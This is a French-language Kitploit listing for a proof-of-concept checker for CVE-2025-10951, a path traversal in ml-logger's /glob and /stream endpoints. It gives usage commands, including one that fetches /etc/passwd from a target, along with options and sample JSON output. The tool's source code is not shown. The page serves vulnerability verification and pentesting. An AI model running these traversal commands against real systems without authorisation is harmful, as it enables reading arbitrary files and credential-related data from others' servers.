Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-10951 — Vérificateur de preuve de concept pour CVE-2025-10951, une traversée de chemin non authentifiée dans ml-logger, validant la lecture arbitraire de fichiers via les points de terminaison /glob et /stream. | Kitploit
Outils/GitHubGitHub/1amunvalid/cve-2025-10951
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'Informations
GitHub1amunvalid/cve-2025-10951

CVE-2025-10951

Vérificateur de preuve de concept pour CVE-2025-10951, une traversée de chemin non authentifiée dans ml-logger, validant la lecture arbitraire de fichiers via les points de terminaison /glob et /stream.

Voir le dépôt
il y a 9 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-10951 - check_mllogger_traversal.py

Vérificateur de preuve d'existence pour CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — une traversée de chemin non authentifiée dans geyang/ml-logger (≤ 0.10.36), affectant les fonctions log_handler / stream_handler dans ml_logger/server.py.

À utiliser uniquement contre des systèmes que vous êtes autorisé à tester.

Ce qu'il vérifie

EndpointMethodPurpose
/globPOSTConfirme que le serveur énumère des chemins du système de fichiers en dehors du périmètre prévu de l'application
/streamGETConfirme la lecture arbitraire de fichiers via une astuce de traversée par double barre oblique (//path/to/file)

Par défaut, l'étape de preuve ne lit que /etc/hostname — une seule ligne inoffensive, présente sur pratiquement tous les hôtes Linux, jamais des données sensibles.

Prérequis

root@kitploit:~
pip install requests

Utilisation

Vérification de base :

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT

Écrire les résultats au format JSON (pour documentation / preuve d'engagement) :

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json

Récupérer un fichier spécifique de votre choix (s'exécute uniquement si la vulnérabilité est confirmée) :

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --fetch /etc/passwd --output passwd.txt

Tout ensemble :

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --json results.json --fetch /etc/passwd --output passwd.txt

Options

Codes de sortie

  • 0 — vulnérabilité confirmée (totalement ou probablement)
  • 1 — non confirmé vulnérable / cible injoignable

Exemple de sortie JSON

root@kitploit:~
{
  "target": "http://192.xxx.xxx.xxx:8081",
  "timestamp": "2026-00-12T10:15:32.123456+00:00",
  "cve": "CVE-2025-10951",
  "glob_endpoint_confirmed": true,
  "stream_endpoint_confirmed": true,
  "vulnerable": true,
  "likely_vulnerable": true,
  "fetch": {
    "remote_path": "/etc/passwd",
    "local_path": "passwd.txt",
    "success": true
  }
}

Remarques

  • --fetch ne s'exécute qu'après la réussite de la vérification de vulnérabilité — il ne tentera pas de récupération contre une cible non confirmée.
  • Le script ne sélectionne jamais de fichier à récupérer à votre place ; vous fournissez toujours le chemin distant exact.
  • Le serveur présente un comportement connu où certains échecs de lecture de fichier corrompent la réponse HTTP en transfert par blocs (chunked) en cours de flux (une page d'erreur brute est écrite dans le corps au lieu d'une erreur propre). Le script intercepte cela et signale un échec plutôt que de planter.

Références

  • GHSA-8x9j-2p8r-7xc6
  • geyang/ml-logger#74 — lecture de fichiers non sécurisée
  • geyang/ml-logger#73 — téléversement de fichiers non sécurisé
  • geyang/ml-logger#72 — RCE par désérialisation
  • NVD — CVE-2025-10951
Télécharger l’outil
FlagDescription
targetURL de base, p. ex. http://192.xxx.x.xx:8081
--timeoutDélai d'expiration de la requête en secondes (défaut : 8.0)
--json FILEÉcrire les résultats structurés dans un fichier JSON
--fetch REMOTE_PATHRécupérer un fichier distant spécifique que vous désignez
--output LOCAL_PATHNom de fichier local pour la sortie de --fetch (défaut : nom de base du chemin distant)